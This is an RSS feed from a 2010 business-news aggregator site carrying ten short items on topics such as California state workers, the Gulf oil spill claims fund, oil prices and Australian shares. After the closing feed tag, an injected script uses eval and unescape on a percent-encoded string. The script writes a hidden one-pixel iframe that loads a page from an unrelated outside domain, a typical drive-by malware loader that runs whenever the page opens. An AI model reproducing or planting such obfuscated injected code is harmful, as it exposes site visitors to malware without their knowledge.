<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Business Cash Advance &#187; business cash advance</title>
	<atom:link href="http://business-advance-online.com/review/business-cash-advance/feed/" rel="self" type="application/rss+xml" />
	<link>http://business-advance-online.com</link>
	<description>Cash Advance News</description>
	<lastBuildDate>Thu, 29 Jul 2010 04:00:20 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>California workers stiffed again</title>
		<link>http://business-advance-online.com/business-cash-advance/california-workers-stiffed-again/</link>
		<comments>http://business-advance-online.com/business-cash-advance/california-workers-stiffed-again/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:20 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/california-workers-stiffed-again/</guid>
		<description><![CDATA[California&#8217;s state workers just can&#8217;t catch a break.
]]></description>
			<content:encoded><![CDATA[<p>California&#8217;s state workers just can&#8217;t catch a break.<img src="http://feeds.feedburner.com/~r/rss/money_latest/~4/nHdBzkIMsFk" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/california-workers-stiffed-again/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Florida bets on Feinberg</title>
		<link>http://business-advance-online.com/business-cash-advance/florida-bets-on-feinberg/</link>
		<comments>http://business-advance-online.com/business-cash-advance/florida-bets-on-feinberg/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:20 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/florida-bets-on-feinberg/</guid>
		<description><![CDATA[Business owners in Florida believe Kenneth Feinberg will manage the $20 billion oil spill claims fund fairly and efficiently, but because of the complicated nature of their claims, they&#8217;re anxious about how much they&#8217;ll get paid.
]]></description>
			<content:encoded><![CDATA[<p>Business owners in Florida believe Kenneth Feinberg will manage the $20 billion oil spill claims fund fairly and efficiently, but because of the complicated nature of their claims, they&#8217;re anxious about how much they&#8217;ll get paid.<img src="http://feeds.feedburner.com/~r/rss/money_latest/~4/nAko7XJ7suw" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/florida-bets-on-feinberg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Investing in the world&#8217;s best balance sheets</title>
		<link>http://business-advance-online.com/business-cash-advance/investing-in-the-worlds-best-balance-sheets-2/</link>
		<comments>http://business-advance-online.com/business-cash-advance/investing-in-the-worlds-best-balance-sheets-2/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:20 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/investing-in-the-worlds-best-balance-sheets-2/</guid>
		<description><![CDATA[At the G20 summit in Toronto last month, the leaders of world&#8217;s largest economies embraced a brave new theme: Halting the alarming, potentially ruinous growth in already mountainous sovereign debt.
]]></description>
			<content:encoded><![CDATA[<p>At the G20 summit in Toronto last month, the leaders of world&#8217;s largest economies embraced a brave new theme: Halting the alarming, potentially ruinous growth in already mountainous sovereign debt.<img src="http://feeds.feedburner.com/~r/rss/money_latest/~4/gsJ2dwsziJs" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/investing-in-the-worlds-best-balance-sheets-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oil prices drift lower</title>
		<link>http://business-advance-online.com/business-cash-advance/oil-prices-drift-lower-2/</link>
		<comments>http://business-advance-online.com/business-cash-advance/oil-prices-drift-lower-2/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:19 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/oil-prices-drift-lower-2/</guid>
		<description><![CDATA[Oil drifted lower Wednesday, continuing a slide from an 11-week high above $79 a barrel reached last week, as a drop in consumer sentiment and an unexpected build in inventories weighed on prices.
]]></description>
			<content:encoded><![CDATA[<p>Oil drifted lower Wednesday, continuing a slide from an 11-week high above $79 a barrel reached last week, as a drop in consumer sentiment and an unexpected build in inventories weighed on prices.<img src="http://feeds.feedburner.com/~r/rss/money_latest/~4/OKEJWGeqjHg" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/oil-prices-drift-lower-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why a top Facebook app maker vanished</title>
		<link>http://business-advance-online.com/business-cash-advance/why-a-top-facebook-app-maker-vanished/</link>
		<comments>http://business-advance-online.com/business-cash-advance/why-a-top-facebook-app-maker-vanished/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:19 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/why-a-top-facebook-app-maker-vanished/</guid>
		<description><![CDATA[Facebook said Wednesday it has deleted all applications created by Pencake, wiping out widgets used by an estimated 45 million Facebook members.
]]></description>
			<content:encoded><![CDATA[<p>Facebook said Wednesday it has deleted all applications created by Pencake, wiping out widgets used by an estimated 45 million Facebook members.<img src="http://feeds.feedburner.com/~r/rss/money_latest/~4/26BrGjm2SRs" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/why-a-top-facebook-app-maker-vanished/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Conquest Mining Limited (ASX:CQT) Quarterly Report For The Period Ended 30 June 2010</title>
		<link>http://business-advance-online.com/business-cash-advance/conquest-mining-limited-asxcqt-quarterly-report-for-the-period-ended-30-june-2010/</link>
		<comments>http://business-advance-online.com/business-cash-advance/conquest-mining-limited-asxcqt-quarterly-report-for-the-period-ended-30-june-2010/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:18 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/conquest-mining-limited-asxcqt-quarterly-report-for-the-period-ended-30-june-2010/</guid>
		<description><![CDATA[Perth, Australia, July 29, 2010 &#8211; (ABN Newswire) &#8211;  Conquest Mining Limited (ASX:CQT) (PINK:CQMLF) is pleased to release quarterly report for the period ended 30 June 2010.CORPORATE REVIEWAppointment of New Directors and Management TeamAt an extraordinary general meeting on 12 May 2010 shareholders approved the appointment of new Executive Chairman Jake Klein and Non-Executive [...]]]></description>
			<content:encoded><![CDATA[<p>Perth, Australia, July 29, 2010 &#8211; (ABN Newswire) &#8211;  Conquest Mining Limited (ASX:CQT) (PINK:CQMLF) is pleased to release quarterly report for the period ended 30 June 2010.CORPORATE REVIEWAppointment of New Directors and Management TeamAt an extraordinary general meeting on 12 May 2010 shareholders approved the appointment of new Executive Chairman Jake Klein and Non-Executive Directors Nicholas Curtis and James Askew.</p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/conquest-mining-limited-asxcqt-quarterly-report-for-the-period-ended-30-june-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tour operators discuss uranium concerns</title>
		<link>http://business-advance-online.com/business-cash-advance/tour-operators-discuss-uranium-concerns/</link>
		<comments>http://business-advance-online.com/business-cash-advance/tour-operators-discuss-uranium-concerns/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:18 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/tour-operators-discuss-uranium-concerns/</guid>
		<description><![CDATA[About 20 tourism operators have attended a meeting in Alice Springs to discuss concerns about future uranium mining in the region.
]]></description>
			<content:encoded><![CDATA[<p>About 20 tourism operators have attended a meeting in Alice Springs to discuss concerns about future uranium mining in the region.</p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/tour-operators-discuss-uranium-concerns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Property price gains expected to slow</title>
		<link>http://business-advance-online.com/business-cash-advance/property-price-gains-expected-to-slow/</link>
		<comments>http://business-advance-online.com/business-cash-advance/property-price-gains-expected-to-slow/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:18 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/property-price-gains-expected-to-slow/</guid>
		<description><![CDATA[Australians are expecting a slowdown from last year&#8217;s breakneck property price growth to continue over the next 12 months.
]]></description>
			<content:encoded><![CDATA[<p>Australians are expecting a slowdown from last year&#8217;s breakneck property price growth to continue over the next 12 months.</p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/property-price-gains-expected-to-slow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Australia shares slip; Mitchell, iiNet trade halted</title>
		<link>http://business-advance-online.com/business-cash-advance/australia-shares-slip-mitchell-iinet-trade-halted/</link>
		<comments>http://business-advance-online.com/business-cash-advance/australia-shares-slip-mitchell-iinet-trade-halted/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:18 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/australia-shares-slip-mitchell-iinet-trade-halted/</guid>
		<description><![CDATA[MELBOURNE, July 29 (Reuters) &#8211; Australian stocks fell 0.5 percent on Thursday in a broad-based reversal after four straight days of gains, with financial stocks pulling the market lower after downbeat economic signs from the United States.
]]></description>
			<content:encoded><![CDATA[<p>MELBOURNE, July 29 (Reuters) &#8211; Australian stocks fell 0.5 percent on Thursday in a broad-based reversal after four straight days of gains, with financial stocks pulling the market lower after downbeat economic signs from the United States.</p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/australia-shares-slip-mitchell-iinet-trade-halted/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Centro refinances and extends debt</title>
		<link>http://business-advance-online.com/business-cash-advance/centro-refinances-and-extends-debt/</link>
		<comments>http://business-advance-online.com/business-cash-advance/centro-refinances-and-extends-debt/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 04:00:18 +0000</pubDate>
		<dc:creator>Business Cash Advance</dc:creator>
				<category><![CDATA[business cash advance]]></category>

		<guid isPermaLink="false">http://business-advance-online.com/business-cash-advance/centro-refinances-and-extends-debt/</guid>
		<description><![CDATA[Shares in Centro Properties Group rose after it announced it would refinance and extend the debt of its US business as the restructure of the company continued.
]]></description>
			<content:encoded><![CDATA[<p>Shares in Centro Properties Group rose after it announced it would refinance and extend the debt of its US business as the restructure of the company continued.</p>
]]></content:encoded>
			<wfw:commentRss>http://business-advance-online.com/business-cash-advance/centro-refinances-and-extends-debt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>